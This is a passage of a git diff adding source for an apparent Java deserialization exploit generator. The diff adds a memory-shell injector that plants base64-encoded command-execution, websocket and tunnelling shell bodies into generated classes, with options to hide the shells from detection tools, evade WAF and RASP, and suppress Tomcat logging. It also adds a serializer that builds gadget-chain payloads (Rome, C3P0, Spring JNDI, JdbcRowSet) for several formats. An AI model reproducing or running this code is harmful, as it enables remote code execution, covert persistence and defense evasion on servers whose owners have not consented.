ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_SOCKET), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_INPUT_STREAM_WITH_TIMEOUT), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_TRY_FULL_DUPLEX), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_REQ), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_UNARY), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_BIO), ctClass)); + + // 为恶意类设置 Runnable 接口以及 RUN 方法 + CtClass runnableClass = ClassPool.getDefault().get("java.lang.Runnable"); + ctClass.addInterface(runnableClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.RUN), ctClass)); + + // 插入关键方法 + insertMethod(ctClass, method, Utils.base64Decode(SUO5.SUO5)); + } else if ("execute".equals(type)) { + insertField(ctClass, "TAG", "public static String TAG = \"" + Config.CMD_HEADER_STRING + "\";"); + insertCMD(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_REQUEST), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_RESPONSE), ctClass)); + + insertMethod(ctClass, method, Utils.base64Decode(EXECUTOR_SHELL)); + } else if ("ws".equals(type)) { + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(WS_SHELL)); + } else if ("upgrade".equals(type)) { + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(UPGRADE_SHELL)); + } else { + insertCMD(ctClass); + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_WEBFLUX)); + } else if (isTomcat) { + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_TOMCAT)); + } else { + insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL)); + } + } + + ctClass.setName(ClassNameUtils.generateClassName()); + insertField(ctClass, "pattern", "public static String pattern = " + converString(Config.URL_PATTERN) + ";"); + + } + + // 恶心一下人,实际没用 + public static String converString(String target) { + if (Config.IS_OBSCURE) { + StringBuilder result = new StringBuilder("new String(new byte[]{"); + byte[] bytes = target.getBytes(); + for (int i = 0; i < bytes.length; i++) { + result.append(bytes[i]).append(","); + } + return result.substring(0, result.length() - 1) + "})"; + } + + return "\"" + target + "\""; + } + + public static void insertMethod(CtClass ctClass, String method, String payload) throws NotFoundException, CannotCompileException { + //添加到类路径,防止出错 + ClassPool pool; + pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(TFMSFromJMX.class)); + // 根据传入的不同参数,在不同方法中插入不同的逻辑 + CtMethod cm = ctClass.getDeclaredMethod(method); + cm.setBody(payload); + } + + /** + * 向指定类中写入命令执行方法 execCmd + * 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法 + * + * @param ctClass 指定类 + * @throws Exception 抛出异常 + */ + public static void insertCMD(CtClass ctClass) throws Exception { + + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(TO_CSTRING_Method), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass)); + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + } + ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD), ctClass)); + } + } + + public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField ctSUID = ctClass.getDeclaredField(fieldName); + ctClass.removeField(ctSUID); + } catch (javassist.NotFoundException ignored) { + } + ctClass.addField(CtField.make(fieldCode, ctClass)); + } + + public static void TinsertWinAgent(CtClass ctClass) throws Exception { + List classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces())); + classes.add(ctClass.getSuperclass()); + + String className = null; + for (CtClass value : classes) { + className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + break; + } + } + + byte[] bytes = ctClass.toBytecode(); + Class ctClazz = Class.forName("com.qi4l.JYso.template.Agent.WinMenshell"); + Field WinClassName = ctClazz.getDeclaredField("className"); + WinClassName.setAccessible(true); + WinClassName.set(ctClazz, className); + Field WinclassBody = ctClazz.getDeclaredField("classBody"); + WinclassBody.setAccessible(true); + WinclassBody.set(ctClazz, bytes); + } + + public static void TinsertLinAgent(CtClass ctClass) throws Exception { + List classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces())); + classes.add(ctClass.getSuperclass()); + + String className = null; + for (CtClass value : classes) { + className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + break; + } + } + byte[] bytes = ctClass.toBytecode(); + Class ctClazz = Class.forName("com.qi4l.JYso.template.Agent.LinMenshell"); + Field LinClassName = ctClazz.getDeclaredField("className"); + LinClassName.setAccessible(true); + LinClassName.set(ctClazz, className); + Field LinclassBody = ctClazz.getDeclaredField("classBody"); + LinclassBody.setAccessible(true); + LinclassBody.set(ctClazz, bytes); + } + + + //类加载方式,因类而异 + public static String injectClass(Class clazz) { + + String classCode = null; + try { + //获取base64后的类 + classCode = Util.getClassCode(clazz); + + } catch (Exception e) { + e.printStackTrace(); + } + + return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" + + " clazz.newInstance();\n" + + "}catch(err){\n" + + " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + " method.setAccessible(true);\n" + + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " clazz.newInstance();\n" + + "};"; + } + + public static void insertTomcatNoLog(CtClass ctClass) throws Exception { + + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodByClass"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodAndInvoke"); + } catch (NotFoundException e) { + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass)); + } + } + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(TOMCAT_NO_LOG), ctClass)); + } + + private static Options getOptions() { + Options options = new Options(); + options.addOption("yso", "ysoserial", true, "Java deserialization"); + options.addOption("g", "gadget", true, "Java deserialization gadget"); + options.addOption("p", "parameters", true, "Gadget parameters"); + options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data"); + options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2"); + options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)"); + options.addOption("o", "obscure", false, "Using reflection to bypass RASP"); + options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)"); + options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]"); + options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]"); + options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]"); + options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]"); + options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]"); + options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]"); + options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File"); + options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name"); + options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)"); + options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/"); + options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS"); + options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl"); + options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil"); + options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter"); + options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf"); + return options; + } + + public static void init(String[] args) throws Exception { + final Options options = getOptions(); + + CommandLineParser parser = new DefaultParser(); + + try { + cmdLine = parser.parse(options, args); + } catch (Exception e) { + System.out.println("[*] Parameter input error, please use -h for more information"); + System.exit(1); + } + + if (cmdLine.hasOption("inherit")) { + Config.IS_INHERIT_ABSTRACT_TRANSLET = true; + } + + if (cmdLine.hasOption("obscure")) { + Config.IS_OBSCURE = true; + } + + if (cmdLine.hasOption("cmd-header")) { + Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header"); + } + + if (cmdLine.hasOption("url")) { + String url = cmdLine.getOptionValue("url"); + if (!url.startsWith("/")) { + url = "/" + url; + } + Config.URL_PATTERN = url; + } + + if (cmdLine.hasOption("define-class-from-parameter")) { + Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter"); + } + + if (cmdLine.hasOption("file")) { + Config.WRITE_FILE = true; + Config.FILE = cmdLine.getOptionValue("file"); + } + + if (cmdLine.hasOption("password")) { + Config.PASSWORD_ORI = cmdLine.getOptionValue("password"); + Config.PASSWORD = generatePassword(Config.PASSWORD_ORI); + } + + if (cmdLine.hasOption("godzilla-key")) { + Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key")); + } + + if (cmdLine.hasOption("header-key")) { + Config.HEADER_KEY = cmdLine.getOptionValue("header-key"); + } + + if (cmdLine.hasOption("header-value")) { + Config.HEADER_VALUE = cmdLine.getOptionValue("header-value"); + } + + if (cmdLine.hasOption("no-com-sun")) { + Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true; + } + + if (cmdLine.hasOption("mozilla-class-loader")) { + Config.USING_MOZILLA_DEFININGCLASSLOADER = true; + } + + if (cmdLine.hasOption("rhino")) { + Config.USING_RHINO = true; + } + + if (cmdLine.hasOption("utf8-Overlong-Encoding")) { + Config.IS_UTF_Bypass = true; + } + + if (cmdLine.hasOption("gen-mem-shell")) { + Config.GEN_MEM_SHELL = true; + + if (cmdLine.hasOption("gen-mem-shell-name")) { + Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name"); + } + } + + if (cmdLine.hasOption("hide-mem-shell")) { + Config.HIDE_MEMORY_SHELL = true; + + if (cmdLine.hasOption("hide-type")) { + Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type")); + } + } + + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java b/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java new file mode 100644 index 0000000..5cb689b --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java @@ -0,0 +1,40 @@ +package com.qi4l.JYso.gadgets.utils; + +public class JavaVersion { + + public int major; + + public int minor; + + public int update; + + + public static JavaVersion getLocalVersion() { + String property = System.getProperties().getProperty("java.version"); + if (property == null) { + return null; + } + JavaVersion v = new JavaVersion(); + String parts[] = property.split("\\.|_|-"); + int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix + v.major = Integer.parseInt(parts[start + 0]); + v.minor = Integer.parseInt(parts[start + 1]); + v.update = Integer.parseInt(parts[start + 2]); + return v; + } + + public static boolean isAnnInvHUniversalMethodImpl() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); + } + + public static boolean isBadAttrValExcReadObj() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major > 8 && v.update >= 76); + } + + public static boolean isAtLeast(int major) { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && v.major >= major; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Ltime.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Ltime.java new file mode 100644 index 0000000..6591571 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Ltime.java @@ -0,0 +1,14 @@ +package com.qi4l.JYso.gadgets.utils; + +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.Date; + +public class Ltime { + //yyyy-MM-dd + public static String getLocalTime() { + Date d = new Date(); + DateFormat sdf = new SimpleDateFormat("HH:mm:ss"); + return sdf.format(d); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/MyURLClassLoader.java b/src/main/java/com/qi4l/JYso/gadgets/utils/MyURLClassLoader.java new file mode 100644 index 0000000..901798f --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/MyURLClassLoader.java @@ -0,0 +1,48 @@ +package com.qi4l.JYso.gadgets.utils; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLClassLoader; + +public class MyURLClassLoader { + private URLClassLoader classLoader; + + public MyURLClassLoader(String jarName) { + try { + classLoader = getURLClassLoader(jarName); + } catch (MalformedURLException e) { + e.printStackTrace(); + } + } + + public Class loadClass(String className) { + try { + //由于我项目中已经有了 commons-beanutils:1.9.4,如果使用 loadClass 方法,加载的是项目 ClassPath 下的 commons-beanutils + //为了避免这种情况,所以调用了 findClass 方法 + Method method = URLClassLoader.class.getDeclaredMethod("findClass", new Class[]{String.class}); + method.setAccessible(true); + Class clazz = (Class) method.invoke(this.classLoader, new Object[]{className}); + return clazz; + } catch (NoSuchMethodException e) { + e.printStackTrace(); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + + return null; + } + + + private URLClassLoader getURLClassLoader(String jarName) throws MalformedURLException { + String path = System.getProperty("user.dir") + File.separator + "lib" + File.separator + jarName; + File file = new File(path); + URL url = file.toURI().toURL(); + URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); + return urlClassLoader; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java new file mode 100644 index 0000000..5bf01ca --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java @@ -0,0 +1,88 @@ +package com.qi4l.JYso.gadgets.utils; + +import com.nqzero.permit.Permit; +import sun.reflect.ReflectionFactory; + +import java.lang.reflect.*; + +@SuppressWarnings("restriction") +public class Reflections extends ClassLoader { + + public static void setAccessible(AccessibleObject member) { + // quiet runtime warnings from JDK9+ + Permit.setAccessible(member); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + setAccessible(field); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + setAccessible(ctor); + return ctor; + } + + public static Object newInstance(String className, Object... args) throws Exception { + return getFirstCtor(className).newInstance(args); + } + public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { + return createWithoutConstructor(Class.forName(classname)); + } + public static T createWithoutConstructor(Class classToInstantiate) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings({"unchecked"}) + public static T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + setAccessible(objCons); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + setAccessible(sc); + return (T) sc.newInstance(consArgs); + } + + public static Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java new file mode 100644 index 0000000..38104d3 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java @@ -0,0 +1,451 @@ +package com.qi4l.JYso.gadgets.utils; + + +import com.caucho.hessian.io.*; +import com.cedarsoftware.util.io.JsonWriter; +import com.esotericsoftware.kryo.Kryo; +import com.esotericsoftware.kryo.io.Output; +import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; +import com.qi4l.JYso.gadgets.*; +import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; +import com.rometools.rome.feed.impl.EqualsBean; +import com.rometools.rome.feed.impl.ToStringBean; +import com.sun.rowset.JdbcRowSetImpl; +import com.thoughtworks.xstream.XStream; +import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; +import org.springframework.beans.factory.config.PropertyPathFactoryBean; +import org.springframework.jndi.support.SimpleJndiBeanFactory; + +import java.io.*; +import java.lang.reflect.InvocationTargetException; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.*; +import java.util.concurrent.Callable; + +import javax.xml.transform.Templates; + +import static com.qi4l.JYso.gadgets.Config.Config.*; + +public class Serializer implements Callable { + private final Object object; + + public static Boolean globalinline = false; + + public Serializer(Object object) { + this.object = object; + } + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static byte[] serialize(final Object obj, final ByteArrayOutputStream out) throws IOException { + final ObjectOutputStream objOut; + objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + byte[] bytes = out.toByteArray(); + objOut.close(); + return bytes; + } + + + public static void qiserialize(Object obj, final OutputStream out,String payloadType,String Command) throws Exception { + ObjectOutputStream objOut = null; + AbstractHessianOutput AobjOut = null; + ByteArrayOutputStream outB64 = new ByteArrayOutputStream(); + + if (IS_DIRTY_IN_TC_RESET) { + objOut = new SuObjectOutputStream(out); + } else if (IS_UTF_Bypass) { + if (BASE64) { + objOut = new UTF8OverlongObjectOutputStream(outB64); + } else { + objOut = new UTF8OverlongObjectOutputStream(out); + } + } else if (IS_Hessian1) { + if (BASE64) { + AobjOut = new HessianOutput(outB64); + } else { + AobjOut = new HessianOutput(out); + } + NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); + sf.setAllowNonSerializable(true); + AobjOut.setSerializerFactory(sf); + } else if (IS_Hessian2) { + if (BASE64) { + AobjOut = new Hessian2Output(outB64); + } else { + AobjOut = new Hessian2Output(out); + } + NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); + sf.setAllowNonSerializable(true); + AobjOut.setSerializerFactory(sf); + AobjOut.writeObject(obj); + AobjOut.close(); + } else if (IS_Xstream) { + XStream xstream = new XStream(); + String xml = xstream.toXML(obj); + System.out.println(xml); + return; + } else if (IS_Kryo) { + Kryo kryo = new Kryo(); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + try (Output output = new Output(bos)) { + kryo.writeClassAndObject(output, obj); + } + if(BASE64){ + String base64String = Base64.getEncoder().encodeToString(bos.toByteArray()); + System.out.println(base64String); + return; + }else{ + System.out.println(bos); + return; + } + } else if (IS_JsonIO){ + if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) { + UtilFactory uf = new UtilFactory(); + obj = SpringUtil.makeBeanFactoryTriggerBFPA(uf, "caller", SpringUtil.makeMethodTrigger(new ProcessBuilder(Command), "start")); + System.out.println(obj); + return; + }else if (payloadType.equals("Rome")){ + obj = makeRome(Command); + System.out.println(obj); + return; + } + String jsonio = JsonWriter.objectToJson(obj); + System.out.println(jsonio); + return; + } else if (IS_YamlBeans){ + obj = YamlBeansHandler(payloadType,Command); + System.out.println(obj); + return; + } else if (IS_JYAML) { + String payload = JYamlHandler(payloadType,Command); + System.out.println(payload); + return; + } else if (IS_Castor) { + obj = CastorHandler(payloadType,Command); + System.out.println(obj); + return; + }else if (IS_Jackson){ + obj = JacksonHandler(payloadType,Command); + System.out.println(obj); + return; + }else { + if (BASE64) { + objOut = new SuObjectOutputStream(outB64); + } else { + objOut = new SuObjectOutputStream(out); + } + } + + if (IS_Hessian1 || IS_Hessian2) { + AobjOut.writeObject(obj); + } else { + objOut.writeObject(obj); + } + + if (BASE64) { + String encodedString = Base64.getEncoder().encodeToString(outB64.toByteArray()); + System.out.println(encodedString); + } + } + + public byte[] call() throws Exception { + return serialize(object); + } + + public static Object makeRome(String Command) throws Exception { + UtilFactory uf = new UtilFactory(); + String args[] = {Command}; + Object tpl = TemplatesUtil.createTemplatesImpl(args); + Object obj1 = makeROMEAllPropertyTrigger(uf, Templates.class, (Templates) tpl); + String marshalled = JsonWriter.objectToJson(obj1); + // add the transient _tfactory field + marshalled = marshalled.replace( + "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",", + "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_tfactory\"" + + ": {\"@type\" : \"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"},"); + return marshalled; + } + + public static Object makeROMEAllPropertyTrigger(UtilFactory uf, Class type, T obj) throws Exception { + ToStringBean item = new ToStringBean(type, obj); + EqualsBean root = new EqualsBean(ToStringBean.class, item); + return uf.makeHashCodeTrigger(root); + } + + public static Object YamlBeansHandler(String payloadType, String command ) throws IOException, URISyntaxException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { + globalinline = true; + if(payloadType.equals("C3P0WrapperConnPool")) { + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return writeObject( + WrapperConnectionPoolDataSource.class, + Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1])))); + }else{ + return null; + } + } + + public static Object JacksonHandler(String payloadType, String command) throws Exception { + if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")){ + String jndiUrl = command; + Map values = new LinkedHashMap<>(); + values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); + values.put("adviceBeanName", quoteString(jndiUrl)); + return writeCollection( + HashSet.class.getName(), + writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, values), + writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, Collections.EMPTY_MAP)); + }else if (payloadType.equals("C3P0WrapperConnPool")){ + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return writeJackJsonObject( + WrapperConnectionPoolDataSource.class, + Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])))); + }else if (payloadType.equals("SpringPropertyPathFactory")){ + Map values = new LinkedHashMap<>(); + String jndiUrl = command; + values.put("targetBeanName", quoteString(jndiUrl)); + values.put("propertyPath", quoteString("foo")); + values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); + return writeJackJsonObject(PropertyPathFactoryBean.class, values); + }else if (payloadType.equals("JdbcRowSet")){ + Map values = new LinkedHashMap<>(); + values.put("dataSourceName", quoteString(command)); + values.put("autoCommit", "true"); + return writeJackJsonObject(JdbcRowSetImpl.class, values); + }else if (payloadType.equals("C3P0RefDataSource")){ + Map values = new LinkedHashMap<>(); + values.put("jndiName", quoteString(command)); + values.put("loginTimeout", "0"); + return writeJackJsonObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", values); + }else{ + return null; + } + } + + + public static String JYamlHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { + if (payloadType.equals("JdbcRowSet")) { + Map properties = new LinkedHashMap<>(); + properties.put("dataSourceName", writeString(command)); + properties.put("autoCommit", "true"); + return writeObject(JdbcRowSetImpl.class, properties); + } else if (payloadType.equals("C3P0WrapperConnPool")) { + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return writeObject( + WrapperConnectionPoolDataSource.class, + Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])))); + } else if (payloadType.equals("C3P0RefDataSource")) { + Map props = new LinkedHashMap<>(); + props.put("jndiName", writeString(command)); + props.put("loginTimeout", "0"); + return writeObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", props); + } + else { + return null; + } + } + + public static Object CastorHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { + if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")){ + String jndiName = command; + return "" + + "" + jndiName + "foo" + + "" + "" + jndiName + + ""; + }else if (payloadType.equals("C3P0WrapperConnPool")){ + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return ""; + }else{ + return null; + } + } + + + public static class SuObjectOutputStream extends ObjectOutputStream { + + public SuObjectOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void writeStreamHeader() throws IOException { + super.writeStreamHeader(); + try { + // 写入 + for (int i = 0; i < DIRTY_LENGTH_IN_TC_RESET; i++) { + Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET}); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + public static class NoWriteReplaceSerializerFactory extends SerializerFactory { + + /** + * {@inheritDoc} + * + * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class) + */ + @Override + public com.caucho.hessian.io.Serializer getObjectSerializer (Class cl ) throws HessianProtocolException { + return super.getObjectSerializer(cl); + } + + /** + * {@inheritDoc} + * + * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class) + */ + @Override + public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException { + com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl); + + if ( serializer instanceof WriteReplaceSerializer ) { + return UnsafeSerializer.create(cl); + } + return serializer; + } + } + + + + protected static String writeObject(Class clazz, Map properties, String... consArgs) { + return writeObject(clazz.getName(), properties, consArgs); + } + + protected static String writeObject(String clazz, Map properties, String... consArgs) { + return writeObject(clazz, properties, 0, consArgs); + } + + protected static String writeObject(Class clazz, Map properties, int level, String... consArgs) { + return writeObject(clazz.getName(), properties, level, consArgs); + } + + protected static String writeObject(String clazz, Map properties, int level, String... consArgs) { + StringBuilder sb = new StringBuilder(); + sb.append(writeConstructor(clazz, globalinline, consArgs)); + + if (!properties.isEmpty()) { + int indent = (level + 1) * 2; + for (Map.Entry prop : properties.entrySet()) { + sb.append('\n'); + for (int i = 0; i < indent; i++) { + sb.append(' '); + } + sb.append(prop.getKey()); + sb.append(':').append(' '); + sb.append(prop.getValue()); + } + } + return sb.toString(); + } + + + protected static String writeConstructor(Class clazz, boolean inline, String... args) { + return writeConstructor(clazz.getName(), inline, args); + } + + protected static String writeConstructor(String clazz, boolean inline, String... args) { + StringBuilder sb = new StringBuilder(); + sb.append(constructorPrefix(inline)); + 